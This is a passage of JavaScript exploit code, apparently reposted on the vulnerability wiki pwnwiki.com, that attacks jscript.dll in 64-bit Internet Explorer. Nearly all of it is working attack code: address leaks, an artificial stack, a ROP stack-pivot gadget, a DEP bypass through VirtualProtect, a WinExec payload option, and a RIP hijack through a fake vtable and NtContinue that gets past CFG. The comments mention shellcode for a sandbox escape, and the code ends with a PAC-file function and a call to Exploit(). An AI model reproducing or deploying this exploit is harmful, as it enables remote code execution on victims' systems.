RCX = Shellcode address RDX = Shellcode size R8 = 0x40 R9 = Leaked address of BSTR to hold out param RSP = Real stack pointer R11 = Artificial stack |-----------------------------| ^ | 2MB stack space (heap) | | |-----------------------------| | | Heap header/BSTR len align | | |-----------------------------| | | KERNEL32.DLL!VirtualProtect | <----------| |-----------------------------| | Shellcode return address |-----------------------------| */ var Padding = Array(0x100000 + 1).join('\u0101'); // The +1 here always gives it a clean len (used to be -1) var ArtificialStackStr = Padding; // A couple KB were never enough, even for VirtualProtect and WinExec. The WPAD RPC client shellcode for sandbox escape is exceptionally consumptive with stack memory. ArtificialStackStr += DwordArrayToBytes(VirtualProtectAddress.low); ArtificialStackStr += DwordArrayToBytes(VirtualProtectAddress.high); ArtificialStackStr += DwordArrayToBytes(ShellcodeAddress.low); ArtificialStackStr += DwordArrayToBytes(ShellcodeAddress.high); ArtificialStackStr = ArtificialStackStr.substr(0, ArtificialStackStr.length); var ArtificialStackAddress = LeakObjectAddress64(LeakedVvalAddress, ArtificialStackStr); ArtificialStackAddress.low += ((ArtificialStackStr.length * 2) - 0x10); // Point RSP at the return address to the shellcode. The address consistently ends up an 0x8 multiple on Windows 7 IE8 64-bit. Stack overfloow exceptions were becoming an issue when I did not include this tail padding. var WritableStr = ""; WritableStr += DwordArrayToBytes(0); WritableStr = WritableStr.substr(0, WritableStr.length); var WritableAddress = LeakObjectAddress64(LeakedVvalAddress, WritableStr); // Dynamically resolve ROP gadget for stack pivot via export hint var StackPivotAddress; var HintExportAddress = ResolveExport64(MsvcrtBase, 0x686e6174, 0x00000066 ); // tanhf var MagicOffset; if(!HintExportAddress.low && !HintExportAddress.high) { DebugLog("Failed to resolve address of MSVCRT.DLL!tanhf"); return 0; } if(WindowsVersion <= 7) { MagicOffset = 0x2da + 1; // tanhf:0x00076450 (+0x2da) <- 0x0007672a -> (+0x3e5e) email protected@email protected:0x0007a588 } else { MagicOffset = 0x11f + 19; // tanhf:0x00019a90 (+0x11f) <- 0x00019baf -> (+0x31) acosf:0x00019be0 } // 49:8BE3 | mov rsp,r11 // C3 | ret StackPivotAddress = HarvestGadget64(HintExportAddress, 0x500, 0xC3E38B49, 0x00000000FFFFFFFF, MagicOffset); if(!StackPivotAddress.low && !StackPivotAddress.high) { DebugLog("Failed to resolve address of stack pivot gadget"); return 0; } DebugLog("Gadget address of stack pivot: 0x" + StackPivotAddress.high.toString(16) + StackPivotAddress.low.toString(16)); Context = MakeContextDEPBypass64(LeakedStackPtr, ArtificialStackAddress, StackPivotAddress, VirtualProtectAddress, ShellcodeAddress, ShellcodeLen, WritableAddress); DebugLog("Artificial stack pointer address at 0x" + ArtificialStackAddress.high.toString(16) + " " + ArtificialStackAddress.low.toString(16) +" shellcode at 0x" + ShellcodeAddress.high.toString(16) + ShellcodeAddress.low.toString(16) + " CONTEXT pointer: 0x" + FakeObjAddress.high.toString(16) + FakeObjAddress.low.toString(16)); } else if(PayloadType == "winexec") { CommandStr = CommandStr.substr(0, CommandStr.length); var CommandStrAddress = LeakObjectAddress64(LeakedVvalAddress, CommandStr); Context = MakeContextWinExec64(CommandStrAddress, LeakedStackPtr, WinExecAddress); } var RipHijackPropName = CreateVar64(0x81, LeakedVvalAddress.low + 96, LeakedVvalAddress.high, 0, 0) + CreateVar64(0, FakeVtableAddress.low, FakeVtableAddress.high, 0, 0) + Context; // 96 is the 64-bit prop name offset plus size of mutable VAR and next VAR Type field. /* jscript.dll!Object.Typeof method mov rdi,qword ptr ds:rdi+8 mov rax,qword ptr ds:rdi mov rbx,qword ptr ds:rax+138 mov rcx,rbx call qword ptr ds:7FFA554EC628 mov rcx,rdi call rbx Initially RDI holds the pointer to the mutable VAR. Its object pointer is being loaded from +8, and then RDI holds the pointer to the fake Object, which is dereferenced into RAX to obtain the vtable pointer. Offset 0x138 holds the typeof method pointer within the vtable, which is subsequently passed to CFG for validation. Since the fake vtable holds the address of NTDLL.DLL!NtContine in place of its typeof method (and this address is whitelisted by CFG) the security check will succeed and we will end up with an indirect branch instruction (CALL RBX) whch will execute the RIP hijack. Most notably, since a class method will always be passed its "this" pointer as its first parameter (which in x64 will be held in RCX) we not only end up with a RIP hijack but also control of the RCX register. Control of this register allows us to control the first parameter to NTDLL.DLL!NtContinue (in this case a CONTEXT structure pointer) which conveniently will hold a pointer to our fake object, the contents of which we control. Thus the fake object itself will be interpreted as CONTEXT struct we may control. Malicious VVAL property name ------------------ | VAR.Type | <-- Mutable var |----------------| | | VAR.ObjPtr | <------ Referencing fake object appended to itself in the VVAL property name |----------------| | | VAR.Type | |-- Not a real VAR (its Type is skipped and never referenced), just a 0 field. |----------------| | | Fake vtable ptr| <---|-- Fake object begins here. RCX and RDI point here |----------------| | VAR.NextPtr | <-- Unreferenced, a side-effect of using a VAR struct to initialize the fake object. |----------------| | CONTEXT | <-- Notably the first 16 bytes (2 QWORDs) of this struct will be confused with the fake vtable ptr and VAR.NextPtr fields. These fields represent the P1Home and P2Home registers and its fine if they are initialized to 0. |________________| */ ReClaimNameList(0, RipHijackPropName); var TotalTime = (new Date().getTime() - ScriptTimeStart); DebugLog("TIME ... total time elapsed: " + TotalTime.toString(10) + " read count: " + ReadCount.toString(10)); typeof MutableVar; } function FindProxyForURL(url, host){ return "DIRECT"; } Exploit();

免费、自由、人人可编辑的漏洞库--pwnwiki.com

返回顶部